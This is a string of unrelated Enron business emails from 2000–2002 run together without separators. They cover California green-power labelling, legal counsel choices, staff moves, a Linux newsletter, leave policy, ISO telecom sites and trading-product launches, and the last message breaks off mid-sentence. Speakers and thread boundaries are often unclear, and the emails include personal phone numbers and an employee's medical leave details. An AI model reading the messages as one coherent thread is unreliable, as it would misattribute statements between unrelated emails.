---------------------- Forwarded by Marianne Castano/HOU/EES on 08/02/2001 =
09:47 AM ---------------------------
From:=09Stacey Bolton/ENRON@enronXgate on 08/01/2001 05:21 PM
To:=09Heather Mathis/HOU/EES@EES, Richard Ring/HOU/EES@EES, Marianne Castan=
o/HOU/EES@EES
cc:=09Michael Terraso/ENRON@enronXgate, Jeffrey Keeler/Corp/Enron@ENRON=20

My suggestions are below.  Thanks Heather for the helpful update.
From: =09Mathis, Heather =20
Sent:=09Tuesday, July 31, 2001 1:30 PM
To:=09Bolton, Stacey; Ring, Richard; Castano, Marianne
Subject:=09CA BIZMIX Issues

Hello all!

I met with Diann Huddleson today and she clarified some issues for me regar=
ding the DASRing of customers in California.  Unfortunately it wasn't what =
we wanted to hear.

On the easy side of things, all residential customers (PGE, SCE, SDG&E) wer=
e turned back to the utilities starting May 30th (DASRs were submitted and =
they are cycling off now depending upon meter reading cycles, etc.)  These =
customers received a letter letting them know about it.

On the commercial side of things (Diann had no distinctions between small c=
ommercial & large commercial & industrial customers), SDG&E customers have =
been ours all along and have never been DASRed and reDASRed.  In PGE & SCE,=
 IBM behind PGE was also never put through the DASR process and has continu=
ously received our product.  All other PGE & SCE customers were originally =
submitted for DASRing back to the utilities on - January 31!!!!!  That prov=
ides enough issues of its own, but I'll get to that.  PGE did a virtual swi=
tch so as of Jan 31 all these customers became PGE's again, but with SCE, w=
hen a customer was switched depending upon meter reading cycles, etc.  All =
de-DASRed customers were then re-DASRed back to us starting June 21, and Di=
ann indicated that not only all of our old customers were re-DASRed, but ne=
w contracts were being executed and these new customers were also being DAS=
Red to us.  No communication about all of this has been sent to the custome=
rs, but as we discussed, some personal basis notice may have been given to =
our larger customers through the reps.

So - I'm not worried about the residential side - we'll have to send them a=
n annual historical label next April (with perhaps a letter explaining why =
they're still receiving info from us).  As far as the commercial/industrial=
 .......

1.  No notice was provided to probably the majority of the customers. [Bolt=
on, Stacey]  We (or PR) should prepare a customer letter as discussed with =
Peggy, notifying them that they are no longer receiving Bizmix ASAP.
2.  They've been receiving system mix since Feb 1 and we've been proceeding=
 as if it were actually BIZMIX - i.e. the 2nd quarter labels they just rece=
ived indicated BIZMIX, as appropriate to the customer. [Bolton, Stacey]   W=
e should look into purchasing green tags to make these customers whole if w=
e will be more than 5% off of our projection v. what we actually delivered.=
  The regs allow for discrepancies between projections and actual, and you =
don't have to show an extra column w/ the difference if you are w/in 5% del=
ta band between projection and actual..  We can change the projection for t=
hird quarter and include this information in the customer letter.=20
3.  What are the new customers (those as being DASRed to us the first time =
as of June 21) being told they are receiving?  Are they being marketed BIZM=
IX? [Bolton, Stacey]   We should ensure this is not the case with originati=
on.  Someone in Jeremy B.'s shop will most likely know.=20
4.  As far as dates are concerned for reporting purposes, will we just use =
those given as the date of submission (i.e. Jan 31, May 30, June 21) as it =
is impossible to pinpoint when each individual customer transferred? [Bolto=
n, Stacey]   We should discuss this a bit.  I'm not sure that this will rea=
lly matter at the end of the day.  The CEC has instructed us all along to s=
end labels to the customers, which we have.  We'll report the purchases (br=
own and green) as normal at the end of the year.=20

Let me know your input.

Heather

Apologies.  My schedule's been difficult to control.  I am in fact in the 
office this morning, so you can call me here at 415.782.7822.

Best,
Jeff

	Robert C Williams/ENRON@enronXgate
	04/25/2001 08:29 AM
		 
		 To: Jeff Dasovich/NA/Enron@Enron
		 cc: 
		 Subject: RE: are you available tomorrow at 10 CST to fill Vicki in on the PE 
Credit issue?  

ok

From:  Dasovich, Jeff  
Sent: Tuesday, April 24, 2001 6:23 PM
To: Williams, Robert C.
Subject: Re: are you available tomorrow at 10 CST to fill Vicki in on the PE 

Actually, could you call me on my cell phone @ 415.505.6633?

Best,
Jeff

I've worked with Kilpatrick Stockton's North Carolina office quite a bit, 
mostly regulatory- they are so so.  It is my understanding that the Atlanta 
office messed up a simple thing for Lisa, and that's all I know about them.  
I've worked extensively with King & Spalding, both their Houston office 
(multiple matters) and Atlanta (two matters), and have had good results.  
I've always worked through John Keffer in Houston, who then hooked me up with 
the right folks in Atlanta.

Kay

Barton Clark@ECT
09/22/2000 12:39 PM
To: Stuart Zisman/HOU/ECT@ECT, Kay Mann/Corp/Enron@Enron
cc:  

Subject: Georgia sites

The Georgia sites have slid down hill and reached the bottom. I have to 
consult with local counsel re groundwater issues. I understand the options 
are King & Spaulding and Kilpatrick & Stockton. I've worked with neither. Can 
you evaluate/recommend either?

I think I have a meeting at 3:00.

Call me when you have time tomorrow and we will set a time.

Hunter
x34772

Hey there -- Life sounds horribly busy.  I figured it was.

Don't worry about me -- I just thought we should get things moving -- since 
now I have officially been replaced, and it has been announced to my direct 
reports here in London.   Fernley (not sure if you have spoken to him)  is 
anxious to put an announcement out to Enron Europe that Phillip Lord and I 
are leaving and that Melissa will be stepping in to replace us.
Since Phillip already has a place to go, it would be nice if we could at 
least say that I am going to North America Energy Ops, or something -- even 
if we don't have all of the details worked out.

I am not sure if you want me to come over and meet some of your commercial " 
customers"  --- also  - I have never met Delainey (I don't think)  -- but 
maybe knowing Frevert well is enough.  I am planning to come in November 
(first half) to work on Europe's plan and coordinate with Brent, Wes and the 
other groups under Frevert, so maybe I can meet some people then.  Would love 
to discuss

Monday is fine -- as I am sure today will be another crazy day.

I know how all of those reviews are.  John Sherriff put a o5 per review per 
day penalty on any dept head who didn't have their reviews  done by August 
15th, and of course I was on holiday the week before that, so I had 2 days to 
do 10 reviews.

Hopefully I can help you with that direct report problem.

If I don't talk to you today, then have a good weekend, 

Beth

	From:  Sally Beck                           13/10/2000 01:19
	
To: Beth Apollo/LON/ECT@ECT
cc:  

Subject: Stuff

Crazy week -- 7:00 pm and I just finished a project for Delainey that I got 
at noon today.  Cancelled everything on the calendar and have been immersed 
ever since.  Patti gave me your message with your home number around 5:30 
today, just as she was leaving -- apologized for not giving it to me 
earlier.  However, given my immediate project, I don't think that I could 
have called until now.  And at 1:00am London time, I think that this e:mail 
is much better.  

I am still really crunched tomorrow morning.  All of our mid-year reviews 
must be completed by the time we have our ENA Office of the Chair staff 
meeting at 2:30 tomorrow.  Big push, after an over percentage completion rate 
of about 60% at our ENA meeting two weeks ago.  Some of those unfinished 
reviews were mine to give (16 direct reports is a killer).  I wrote three 
last night after Tyler went to bed, finished at 1:00 am and gave all three 
reviews this morning.  I have 5 more to write tonight, and to deliver 
tomorrow morning to be at 100%.  I will try to call you on my way into the 
office tomorrow morning from the car.  If I miss you then, it will be late 
afternoon Houston time before I could call you.  Next week shapes up to be 
MUCH better.  

I am definitely very interested in continuing our conversations.  Would love 
to have to over here and involved in operations.  So I will either catch you 
from my car tomorrow morning, or we can talk on Monday.  

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 03/16/2000=
=20
09:17 AM ---------------------------

"NW on Linux" <Linux@bdcimail.com> on 03/16/2000 03:00:38 AM
Please respond to "Linux Help" <NWReplies@bellevue.com>
To: <vkamins@enron.com>
cc: =20
Subject: Linux-- hit or miss?

NETWORK WORLD FUSION FOCUS: PHIL HOCHMUTH
on LINUX
Today's focus: Will Linux be a hit or miss on the corporate desktop?
03/15/00

Dear Wincenty Kaminski,

Today's focus: Will Linux be a hit or miss=20
on the corporate desktop?
---------------------------------------------
By Phil Hochmuth

So far this year, the buzz about Linux in enterprise networks has
focused on servers and embedded systems, with the growth of Linux
severs being most heralded. According to IDC, a research firm based in
Framingham, Mass., Linux was the fastest-growing server operating
system last year, with a 93% growth rate over the year before. Linux
was the second most-shipped operating system in 1999 after Windows NT,
capturing 24% of new licenses shipped.

As for the embedded market, Linux has emerged as an ideal platform for
network appliances, because the system can be modified to handle
specialized, dedicated tasks very well. Companies such as Cobalt
Networks, Picazo and Progressive Systems have announced Linux-based
appliances, ranging from Web servers to PBXs to firewalls.

But what of the open source hacker=01,s dream of =01&Linux on every desktop=
?=018

Sure, Linux on the desktop has become more accessible than ever, with
colorful, shrink-wrapped boxes of Caldera, Red Hat and Corel Linux now
available at places like CompUSA. However, analysts have said that
Linux=01,s growth in the enterprise will be limited to the macro and micro
areas of network servers and embedded operating systems.

According to IDC, Linux currently runs on only 4% of U.S. desktops. The
hold Microsoft Windows has on the desktop market will remain strong,
analysts say, despite such factors as Microsoft=01,s antitrust problems
and the surging popularity of Linux.

Even some Linux executives are skeptical of their product=01,s desktop
future. Recently, SuSE CEO Roland Dyroff downplayed Linux=01,s future on
desktops. Dyroff said, =01&given the lack of applications available, we
really can't claim it as being competitive on the desktop yet.=018

A recent survey by Survey.com gives more hope for Linux desktops.
According to the survey of 1,640 enterprise network managers, open
source operating systems are used on 10% of desktops, with the number
jumping to a surprising 23% of enterprise desktops by 2002.

Despite the mix of numbers being thrown around, two important factors
that will determine the success of Linux as an enterprise client
desktop are: a standardized, easy-to-use graphical user interface (GUI)
and available applications.

One company that is working to make Linux more user friendly is Palo
Alto-based Eazel, which is designing a next-generation file management
system and user interface to run on top of the Linux kernel. According
to Eazel=01,s Web site, the company=01,s goal is to bring Linux to the mass=
es
and =01&do it in a way that appeals to today's Linux users and to mere
mortals.=018

The company was founded by a group of former Apple executives, and is
allied with the Gnome project, which has been doing extensive Linux
desktop environment development for several years. Eazel is due to have
a product out by the middle of this year. With an intuitive, icon-based
file management environment, Eazel is hoping its user interface will be
an improvement over the two current Linux GUIs, Gnome and KDE, and will
help standardized the look and feel of Linux for =01&regular=018 users. For
enterprise mangers who have already embraced Linux on the server side,
this development will be worth keeping an eye on.

On the applications side, several office productivity suites have been
available for some time, such as Sun=01,s StarOffice suite and KOffice for
the KDE desktop. Corel has also ported its office products, such as
WordPerfect, over to Linux to complement its own distribution of the
operating system. While there have been recent rumors (started by Linux
Care Vice President Arthur Tyde) that Microsoft is working on a port of
MS Office to Linux, Microsoft officials deny this.

While Linux may never supplant Windows as the industry-standard desktop,
there should be plenty of opportunity for Linux PCs in enterprise nets
in the future.

To contact Phil Hochmuth:
Phil Hochmuth is a writer and researcher for Network World, and a former
systems integrator. You can reach him at mailto:phochmut@nww.com.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
FOR RELATED LINKS -- Click here for Network World's home page:
http://www.nwfusion.com

Staroffice Software from Sun
http://www.sun.com/staroffice

Corel Linux OS
http://www.corel.com/freedom/freedom.htm

Eazel
http://www.eazel.com

GNOME -- the GNU Network Object Model Environment
http://www.gnome.org

KOffice -- the integrated office suite for KDE, the K Desktop
Environment
http://koffice.kde.org/

Cobalt Networks, Inc.
http://www.cobaltnetworks.com

Progressive Systems
http://www.progressive-systems.com

Picazo
http://www.picazo.com

Other Linux-related articles from Network World:

Active Directory upgrade requires strong game plan,  Network World,
03/13/00
http://www.nwfusion.com/archive/2000/89629_03-13-2000.html

Subscription Services

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Other Questions/Comments

Have editorial comments? Write Jeff Caruso, Newsletter Editor, at:
mailto:jcaruso@nww.com

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at: mailto:jkalbach@nww.com

Network World Fusion is part of IDG.net, the IDG Online Network.
IT All Starts Here:
http://www.idg.com

Copyright Network World, Inc., 2000

who were you trying to bet on??

John J Lavorato@ENRON
11/26/2000 08:55 PM
To: John Arnold/HOU/ECT@ECT
cc:  

That's cheap

Hi all,

Just a friendly reminder to forward me names of those you'd like to place on 
the ETC Action Teams if you haven't already done so.  Also, please remember 
to specify whether you're placing someone on the Global team or the Corporate 
team.  

Attached are the meeting notes for your reference. 

Thanks,
Kim Rizzi
x3-3833

use plus 10 for the 3 year

From: 	Horne, Jonathan  
Sent:	Wednesday, October 17, 2001 2:36 PM
To:	Quigley, Dutch
Subject:	MGAG NYMEX Volumes

Dutch,
Here are the latest MGAG DailyVolumes, for Nov-01 thru Oct-04.

Thank you for all of your help.

-Jonathan Horne
x53994

 << File: MGAG Nymex Volumes.xls >> 

My HomeAdvisor =20
=09=09=09=09March 20, 2002=09
Hot Offers Win $1000 to pay taxes  Home video equipment  Shop for Easter tr=
eats  [IMAGE] Find It Fast Articles and Tools Cooking and entertaining , De=
corating , Gardening , Home valuation , Homes for sale , Loans , Moving , R=
emodeling and repair , Selling    Services Apartments , Contractor , Credit=
 center , Furniture rental , Classmate search , Insurance , Real estate age=
nt , Storage    Shopping Electronics , Home communications , Home office , =
More shopping    Visit our home electronics center!   =09[IMAGE]=09 Celebra=
te Easter  [IMAGE]  Celebrate spring's arrival and Easter with fun crafts a=
nd delicious treats. And as the days get longer, tend to your home and gard=
en with spring cleaning and growing. Try these ideas, or visit HomeAdvisor =
 to explore on your own.  Unique Easter egg decorations  Basic how-to and c=
reative variations Colorful jellybean pots  Use as party favors or centerpi=
eces Papier-m?ch? Easter baskets  Play with balloons, tissue, and gooey pas=
te Spring greenery guide  Know how your garden grows Emeril's Easter feast =
 Enjoy a food-filled day of celebration Green spring cleaning  Remember the=
 environment  Also on HomeAdvisor and MSN Start-to-finish remodeling guide =
 Time to move, or improve?  Spring getaway planner  [IMAGE] Featured Offers=
 [IMAGE] A.eSextTitle{ font-family: Verdana, sans-serif; font-size: 11px; f=
ont-weight: bold;}A.eSextMerchant{ font-family: Verdana, sans-serif; font-s=
ize: 11px; color:black;}.eSextPromo{ color: #ff6600; font-family: Verdana, =
sans-serif; font-size: 10px;}.eSextPrice{ font-family: Verdana, sans-serif;=
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-serif; font-size: 11px; font-weight: bold; color: #ff6600;}.eSextMore{ fon=
t-family: Verdana, sans-serif; font-size: 11px; padding-top:3;}[IMAGE] East=
er Wreath (Preserved)  Easter Wreath (Preserved)   $49.99 Proflowers.com  G=
uaranteed Fresh For 7 Days! More Flowers: New baby  A.eSextTitle{ font-fami=
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omo{ color: #ff6600; font-family: Verdana, sans-serif; font-size: 10px;}.eS=
extPrice{ font-family: Verdana, sans-serif; font-size: 11px; font-weight: b=
old;}.eSextSale{ font-family: Verdana, sans-serif; font-size: 11px; font-we=
ight: bold; color: #ff6600;}.eSextMore{ font-family: Verdana, sans-serif; f=
ont-size: 11px; padding-top:3;}[IMAGE] Easter Egg Pack of 6 Candles  Easter=
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[IMAGE]=09UNSUBSCRIBE =09MORE NEWSLETTERS =09FEEDBACK =09HELP =09[IMAGE]=09
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BE" in the subject line.=09

  =09 go to MSN Home  More Useful Everyday MSN Home  | My MSN  | Hotmail  |=
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=09?2002 Microsoft Corporation. All rights reserved. Terms of Use   Adverti=
se   TRUSTe Approved Privacy Statement   GetNetWise =09

EFF_DT PORTFOLIO_ID DOWN95
1/23/01  MANAGEMENT-COAL 2,952.
1/23/01  MANAGEMENT-CRD 0
1/23/01  MANAGEMENT-GAS 1,387,422.
1/23/01  MANAGEMENT-PWR 312,747.
1/23/01  AGG-MANAGEMENT 1,505,719.

Hello,

Could someone please prepare language from the credit worksheet attached and 
provide such to the confirmations desk for use within trade q94376.

thanks
brant

Mark and Veronica,

Please review the following documents.   

The contact person listed in the intro. letter is Janet Owens, Corporate Risk 
Manager, 412/395-2618 and my contact is Greg Davis, VP  of Trading Equitable 
Energy LLC 412/395-2626.

I will be out of the office until June 26, 2000 but will be checking my voice 
mail @37302.  Let me know what you think.  

---------------------- Forwarded by John Grass/Corp/Enron on 06/15/2000 02:51 

jowens@eqt.com on 06/15/2000 02:19:57 PM
To: jgrass@enron.com
cc:  

 <<ISDA_Sect29_Letter.doc>>  <<ISDA_Standard.doc>>
<<ISDA_SchA_Sect29r.doc>>

 - ISDA_Sect29_Letter.doc
 - ISDA_Standard.doc
 - ISDA_SchA_Sect29r.doc

Things are getting better since TurboPark closed....

From: Suzanne Adams@ECT on 12/15/2000 09:46 AM
cc:  

Subject: Re: today's schedule  

You have to do the mother thing!  Are you having that 11:00 call?  I haven't 
seen anything else.

	Kay Mann@ENRON
	12/15/2000 08:23 AM
		 
		 To: Suzanne Adams/HOU/ECT@ECT
		 cc: 
		 Subject: today's schedule

Michael has some stuff at school today that I would like to attend.  I hope 
to leave here around 130. 

Kay

Anyone interested in PAINTBALL ... on the 10th June (Sunday) ? 

Cost: Approx $40, includes equipment, food but not paint or clothing.

Forward this to anyone who you think would like to go.

http://maps.yahoo.com/py/maps.py?Pyt=Tmap&addr=15550+Grant+Rd&city=Cypress&state=TX&slt=30.024000&sln=-95.651000&name=&zip=&country=us&BFCat=&BFClient=&mag=5&desc=&cs=9&newmag=6&poititle=&poi=

yep

From: 	Ward, Kim S (Houston)  
Sent:	Monday, November 19, 2001 8:10 AM
Subject:	

you (and Matt) going to dallas this week?

Hi,

The sick leave policy is 4 weeks at 100% and 22 weeks at 90%.  So some of 
that time will fall into the 90% pay.

Take care!

   Carol St Clair @ ECT                07/18/2000 05:53 PM

Sent by: Suzanne Adams@ECT
To: Michele Word/Corp/Enron@ENRON
cc:  

Subject: Re: Carol St. Clair  

Michele, is this 8 weeks of sick pay at full pay?

EB 3892

	Michele Word@ENRON
	07/13/2000 10:02 AM
		
		 To: Carol St Clair/HOU/ECT@ECT
		 cc: 
		 Subject: Re: Carol St. Clair

Good Morning,

She will get 8 weeks of sick pay. Please be sure that her time is coded as 
sick starting today.

Thanks

   Carol St Clair @ ECT                07/13/2000 09:55 AM

cc:  

Michele, Carol had her baby last night and had to have a csection.  Does this 
add time to her maternity leave?  What about the other 26 weeks that we are 
given for illness.  She can't use them?  Suzanne (Carol's assistant)
EB 3892

	07/13/2000 09:30 AM
		
		 cc: Carol St Clair/HOU/ECT@ECT

Hi Mark,

Please forward this information to the time-keeper in order that her time off 
will be coded  correctly. An alternative would be for Carol to complete her 
timesheets before she leaves.  With SAP this can be done in advance.

Let me know if you have any questions.

Thanks

From: Mark Taylor@ECT on 07/06/2000 07:33 PM
cc: Carol St Clair/HOU/ECT@ECT 

Subject: Carol St. Clair

Michele:

Just to let you know that I have approved the following for Carol:

1. In addition to the 6 weeks that Enron allows for leave, Carol will add to 
that period by using any remaining vacation time that she has for 2000 (I 
believe an additional 10-12 days).

2. After that time is used up, Carol will be on an unpaid leave of absence 
until December 31, 2000.

Please let me know if there is anything else you need.

Mark

Lucy,

What is the latest?  Write me a note about what is going on and what issues 
you need my help to deal with when you send the rentroll.

Phillip

Lisa, Thanks for the email and invitation.  I am out and will be unable to 
attend. 
Thanks,
mike

Lisa Yoho@EES
11/15/2000 10:33 AM
To: Mark Frevert/NA/Enron@Enron, Mike McConnell/HOU/ECT@ECT, Greg 
Whalley/HOU/ECT@ECT
cc:  
Subject: Senator Lugar Event

Wendy Gramm invited Jeff Skilling to attend a social event for Senator Lugar 
(R-IN) in Dallas on Sunday, November 19th.   Jeff is going to be out of town, 
so I wanted to know if you are interested in attending on Enron's behalf?  
I'm told it's going to be a small gathering of CEOs from Texas companies.   
Senator Lugar is the Chairman of the Senate Ag Committee, which has primary 
jurisdiction over the Commodities Exchange Act legislation.   Lugar is a 
senior player on ag issues, and will be very influential in the farm policy 
debate -- which begins anew next year.    He's also involved in foreign 
relations issues, and is pro-trade.

Let me know if you're interested (and available) to attend this event, and I 
will get additional details to you asap.

Thank you.

Lisa Yoho
Government Affairs
X5-3837

I have a friend who is possibly interested in the trading positions that we 
have open, but I wanted to find out exactly what types of trading positions 
they are.  CAn you give me some more details?  thanks.

 - EL00-111.1
 - ER01-991.1
 - ER01-836.1
 - ER011058.1
 - ER011057.1

Attached please find the above-referenced documents.

The attachment referred to in the response to Staff/CALPAR-5 contains
protected materials and has been provided under seal and pursuant to the
Protective Order in this proceeding.  Only those individuals who have signed
Non-Disclosure Certificates in this proceeding may have access to the
attachment.  No electronic version of the attachment is available; it has
been supplied to Staff by hard copy only.  If you have signed a
Non-Disclosure Certificate in this proceeding and would like a hard copy of
the attachment, please contact me.  Thank you.

 <<Cover - Responses to Staff's First Set.doc>>  <<Responses to Staff's
First Set.doc>>

Carol Gosain
Steptoe & Johnson LLP
1330 Connecticut Avenue, N.W.
Washington, D.C.  20036
Phone:  (202) 429-6461
Fax:  (202) 429-3902
cgosain@steptoe.com

 - Cover - Responses to Staff's First Set.doc 
 - Responses to Staff's First Set.doc 

Mark,
Terrie mails the download CD's weekly and the Curtail.DB file is downloaded 
three days a week as part of the SCADA backup.  The four most recent 
downloads are on the way there today.  If neccessary, I can email the curtail 
files but it would be very time consuming.  Let me know if you need me to do 
this.

Matt
---------------------- Forwarded by Matt Allsup/EWC/Enron on 06/03/2002 01:50 

Mark Fisher
06/03/2002 11:25 AM
To: Matt Allsup/EWC/Enron@Enron
cc: Kurt Anderson/EWC/Enron@ENRON, Hollis Kimbrough/EWC/Enron@ENRON 

Subject: Re: Desert Sky May Log  

Matt, 

Have you made arrangements to send us that file? I haven't seen that file 
yet, so don't know how that is going to affect the curtailment computations.

Mark

Matt Allsup
06/03/2002 11:11 AM
To: Mark Fisher/EWC/Enron@Enron
cc: Kurt Anderson/EWC/Enron@ENRON 

Subject: Re: Desert Sky May Log

Mark,
I meant to tell you that the new curtailment software is in place so 
curtailments are recorded in Visupro after the 25'th.  The file is called 
Curtail.DB  We have no way of verifying the accuracy of the files but they 
seem to be right on.  

Matt
---------------------- Forwarded by Matt Allsup/EWC/Enron on 06/03/2002 01:11 

06/03/2002 07:25 AM

Matt,

The curtailment log implies that you had no curtailment for the last week of 
May (after May 25th). Is that true?

Mark

06/03/2002 07:04 AM
To: Kurt Anderson/EWC/Enron@ENRON
cc: Danielle Lewis/EWC/Enron@Enron, Mark V Walker/EWC/Enron@ENRON, Mark 
Fisher/EWC/Enron@Enron, George Griese/EWC/Enron@Enron, Bo 
Thisted/EWC/Enron@Enron 

Subject: Desert Sky May Log

Reminder, to please send a credit sheet for this company.

Thanks,

dp

Ruth asked that I forward this to you.

Thanks,
Todd
---------------------- Forwarded by Todd Busby/NA/Enron on 10/23/2000 09:16 
   
	From:  "Oliver, Jason" <joliver@Sithe.com>                           
10/23/2000 05:07 PM
	
To: "'Ruth.Concannon@enron.com'" <Ruth.Concannon@enron.com>
cc: Todd.Busby@enron.com 
Subject: RE: Sithe/Independence On & Off Peak MW Turndown Transaction Agre 
ements

Here are my comments on the drafts which you sent over this morning (subject 
to further review): 

(1) In "OTHER", the definition of weekday/weekend day/holiday need to be 
consistent with the NYISO definition.? I suggest that "Weekday" means Monday 
through Friday except for "Holidays".? "Holidays" means "NERC-defined 
holidays" (this is consistent with what NYISO uses in its services tariff).? 
"Weekend day" means Saturday and Sunday.

(2) In Part II, "OTHER" part 2., 8th line, the period after "November 30, 
2000" and before "Customer" needs to be changed to a comma.? You already made 
this correction in the December transaction document.

(3) In BDKW12off-peak, "CONTRACT PRICE (PER MMBTU)", the true-up still 
doesn't work.? The reason that we suggested it be moved to a side letter is 
that, when we sign a November deal, we may or may not also sign a December 
deal.? If the December deal is not signed, there is no carryforward of 
Enron's possible loss from the November deal.? If you change "CONTRACT PRICE 
(PER MMBTU)" in BDKW12off-peak to get rid of the true-up language, the side 
letter would basically say that Sithe will pay to Enron the "lesser of (x) 
the negative of the sum of the negative values, if any, determined under Part 
(b) of Transaction Nos. BD...,etc. and (y) the sum of the positive values, if 
any, determined under Part (b) of Transaction Nos. BD...,etc."

(4) In BDKW12on-peak, we can just use "weekday" instead of "weekday day", to 
be consistent with the other monthly transactions.? Also, in "CONTRACT PRICE 
(PER MMBTU)", part A, "24 hrs/day" should be replaced with "16 hrs/day".? In 
Part II, "OTHER" parts 1. and 2., change "570 MW" to "____ MW".

Brian,
It is my understanding that the ISO has the right to get flat rate, (no 
mileage charge) access into the ISO network from within the LATA of the A 
POPs.  If this access is at the right price it means that any customer 
wanting to get a circuit between say, Redding CA and Orange County, CA would 
have VERY cheap access and competitive Long Haul.  That being said, at this 
point I do not think the A POP information is crucial to our initial meeting.

We need to ascertain the following:
1) Can the ISO nail up discreet circuits on this network?  It is currently a 
meshed ATM backbone with traffic being routed dynamically.  
2) What conditions need to be met by the ISO to scale the network to OC48?  
If they cannot scale it we have only about an OC3 of available bandwidth and 
that is not worth our time.
3) What are the DS3 and OC3/12 access rated from MCI?  This will uncover our 
true opportunity in this deal.

Dan Minter
V: (503)886-0452
F: (503)886-0441

	Brian Spector@ENRON COMMUNICATIONS
	06/13/00 09:02 PM
		
		 To: Jeff Dasovich/SFO/EES@EES@ECT@ENRON
		 cc: Dan Minter/Enron Communications@Enron Communications@EES@ECT@ENRON, Dax 
Sanders/HOU/AZURIX@Azurix
		 Subject: Re: A pop locations

Dan/Dax,

Do we need to have the physical addresses for these pops??????

Brian

	Jeff Dasovich@EES
	06/13/00 01:08 PM
		 
		 To: Brian Spector@ECT, Dan Minter/Enron Communications@Enron Communications
		 cc: 
		 Subject: A pop locations

Forgot to mention---please recall that all of the information we're being 
provided is covered under an NDA that we and the ISO have signed.

Best,
Jeff
---------------------- Forwarded by Jeff Dasovich/SFO/EES on 06/13/2000 11:07 

"Windmiller, Michelle" <MWindmiller@caiso.com> on 06/13/2000 10:49:52 AM
To: "'jeff.dasovich@enron.com'" <jeff.dasovich@enron.com>
cc:  
Subject: A pop locations

Jeff -

Here are the locations for the A and B Pops.

A Pops
San Jose
Santa Ana
San Diego (2)
San Francisco
Los Angeles
Sherman Oaks
Plus co-located in the four B Pops below

B Pops
Hayward
Sacramento
Rialto
Dominiguez Hills

 <<...>>
Michelle J. Windmiller
Telecommunications
(916)351-2160  (office)
(916)802-5423  (cell)
(916)351-2373  (fax)

Ever wonder what happens to the ideas in the Idea Vault?  The possibilities 
are almost endless, but here is how your idea might be "discovered":
Putting your idea in the Idea Vault gets it in front of everyone at Enron.  
You might make a connection with someone on the other side of the world who 
is working on a similar concept.  
The eThink team checks regularly, and, when we know who might be able to 
help, we route ideas to various people at Enron.  
Various business groups check the Idea Vault in their weekly staff meetings 
to see if Enron's next big initiative is waiting there.
The Enron Xcelerator is looking for fresh business initiatives, and they 
might find some in the Idea Vault.

Visit the ThinkBank today and make a deposit or a withdrawal!

Tuesday, Mar. 6, at 10 a.m. Houston time, join Judy Schlesinger on eSpeak.  
Judy, the manager of eSource, will be on hand to answer your questions and 
explain how the eSource research group's industry specialists and resources 
can help you gain a competitive advantage.

If you attended or watched the all-employee meeting on Feb. 21, you heard 
Jeff and Ken introduce our new vision "To Become the World's Leading 
Company."  What do you think it will take to make this happen?  Share your 
ideas in the new eMeet category:  "The World's Leading Company:  What Will it 
Take?"

---------------------- Forwarded by David Forster/Corp/Enron on 01/24/2001 05:59 PM ---------------------------

Naveed Ahmed
01/24/2001 05:57 PM
To:	David Forster/Corp/Enron@Enron
cc:	 

Subject:	Re: IPQoD product

---------------------- Forwarded by Naveed Ahmed/NA/Enron on 01/24/2001 05:58 PM ---------------------------
To:	Naveed Ahmed/NA/Enron@ENRON
cc:	Paul Racicot/Enron Communications@Enron Communications 

Subject:	Re: IPQoD product   

Please proceed with implementing the product to go live.....

Thanks

John D. Suarez
Enron Broadband Services
Manager, Global Bandwidth Risk Management
Phone: (713) 853-5267
Mobile: (713) 443-5267
Pager:  (877) 307-9065

<mailto:john_suarez@enron.net>

	Naveed Ahmed@ENRON 01/24/01 05:23 PM 	  To: John Suarez/Enron Communications@ENRON COMMUNICATIONS  cc: David Forster/Corp/Enron@Enron  Subject: IPQoD product 	

John,

As per our discussion of this afternoon, I am noting below the points that we have discussed and agreed with respect to IP transport products, which were originally set-up for video taping purpose for the analyst meeting on 24 January 2001. 

As per your request, we will set-up the IP transport products in the product manager in such a manner so that they can be traded in the future, which will be some time next week, contingent upon 3 conditions to which you have already agreed.  

1.  The new GTCs and the product descriptions have to conform with  each other (we are in the process of checking this).

2.  For the foreseeable future, the products have to  be displayed on  EnronOnline on daily basis (with the exception of holidays) with relevant prices and 
     must  be made available for trading with  approved counter-parties .

3.  As I mentioned to you over the phone, in essence this is a full scale launch. Therefore, the cost associated with the launch of IP transports products will    
     be similar to that for  any other standard launch ( about US$ 250,000).  Further details on this will be provided to you shortly.  Obviously any cost that your      group has   already incurred for the analyst demo  will be netted off against the total cost of launch.

As I also explained to you that the normal operational  procedure for EnronOnline mandates that any changes with respect to system/database take place over the weekend. However, as you have indicated the necessity and the urgency of giving the reading rights to your counter-parties by Friday, we will endeavour to do so.  However, this will require substantial deployment of additional resources to ensure that we do not compromise the integrity of EnronOnline system while fulfilling your request.

If you have any questions, please let know.

Naveed

Bowen called, and unless he has to schedule a call with a judge from Texas at 
the same time, we're on for 9:30 AM.  He'll call back if there's a problem.  
Also, he confirmed my recollection on the dedicated transport v. AFTS and 
also confirmed that we can change any names we want and that this is the best 
time to make sure what we file in good ol' CA is consistent with our other 
filings.

Best,
Jeff

User has NT group added to memberships and also setup like sscott5. 
Have him use his Unix ID and password if he doesn't know it have him call the 
helpdesk at 3-1411 to reset it after the reset it takes 30 minutes for it to 
replicate so he would have to wait

Thanks,
Erica Garcia
IRM

I see your point that the put should be higher up on the list.  In my 
opinion, this will be the biggest issue with ABB. 

From: Eric LeDain@ECT on 07/14/2000 09:25 PM MDT
To: Greg Johnston/CAL/ECT@ECT, Rob Milnthorp/CAL/ECT@ECT, Kay 
Mann/Corp/Enron@Enron
cc:  

Subject: Moore - changes needed to ABB contract

I think the put to ABB should be at $3 MM US and the term 6 months from 
agreement execution, as a first cut.  Let's put this higher in the list 
(right after the cost items).
The "law" items probably need cleaning up as you suggest Kay - the first 
dealt with overall Cdn laws and statutes, the second to specs and standards 
and local laws.
The force majeure item (11) should just say that costs for handling through 
storage due to FM shall be at the cost of Seller, if Seller is claiming 
party. 

---------------------- Forwarded by Eric LeDain/CAL/ECT on 07/14/2000 09:16 
   
	From:  Kay Mann @ ENRON                           07/14/2000 04:33 PM
	
To: Eric LeDain/CAL/ECT@ECT, Greg Johnston/CAL/ECT@ECT, Laura 
Luce/Corp/Enron@Enron, Fred Mitro/HOU/ECT@ECT, Rusty 
Stevens/Corp/Enron@ENRON, Gregg Penman/Corp/Enron@Enron, Thomas 
Suffield/Corp/Enron@ENRON
cc:  

I've made a rough stab at an exhibit to capture the changes which are 
